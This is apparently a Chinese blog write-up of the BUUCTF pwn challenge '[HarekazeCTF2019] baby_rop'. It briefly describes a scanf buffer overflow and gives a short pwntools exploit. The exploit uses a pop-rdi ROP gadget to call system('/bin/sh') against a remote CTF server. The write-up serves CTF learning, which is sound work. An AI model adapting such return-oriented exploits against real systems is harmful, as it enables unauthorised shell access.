共计 301 个字符,预计需要花费 1 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-29 14:38,文中所关联的信息可能已发生改变,请知悉!
checksec
![BUUCTF-PWN-[HarekazeCTF2019]baby_rop BUUCTF-PWN-[HarekazeCTF2019]baby_rop](https://cdn.jsdelivr.net/gh/Chaos-xBug/img/blog/202112061940178.png)
IDA
![BUUCTF-PWN-[HarekazeCTF2019]baby_rop BUUCTF-PWN-[HarekazeCTF2019]baby_rop](https://cdn.jsdelivr.net/gh/Chaos-xBug/img/blog/202112061943497.png)
scanf 可以溢出
![BUUCTF-PWN-[HarekazeCTF2019]baby_rop BUUCTF-PWN-[HarekazeCTF2019]baby_rop](https://cdn.jsdelivr.net/gh/Chaos-xBug/img/blog/202112061945187.png)
查看 string
![BUUCTF-PWN-[HarekazeCTF2019]baby_rop BUUCTF-PWN-[HarekazeCTF2019]baby_rop](https://cdn.jsdelivr.net/gh/Chaos-xBug/img/blog/202112061944264.png)
发现 binsh
思路
先覆盖变量 v4,溢出到 rdi,然后带上 binsh 参数调用 system 函数
EXP
from pwn import *
p = remote('node4.buuoj.cn', 25780)
rdi = 0x400683
binsh_addr = 0x601048
sys_addr = 0x400490
payload = flat(b'a' * (0x10 + 8), p64(rdi), p64(binsh_addr), p64(sys_addr))
p.sendline(payload)
p.interactive()
结果
注意:这题的 flag 在 home 下的文件夹 babyrop 里面
![BUUCTF-PWN-[HarekazeCTF2019]baby_rop BUUCTF-PWN-[HarekazeCTF2019]baby_rop](https://cdn.jsdelivr.net/gh/Chaos-xBug/img/blog/202112062033583.png)
正文完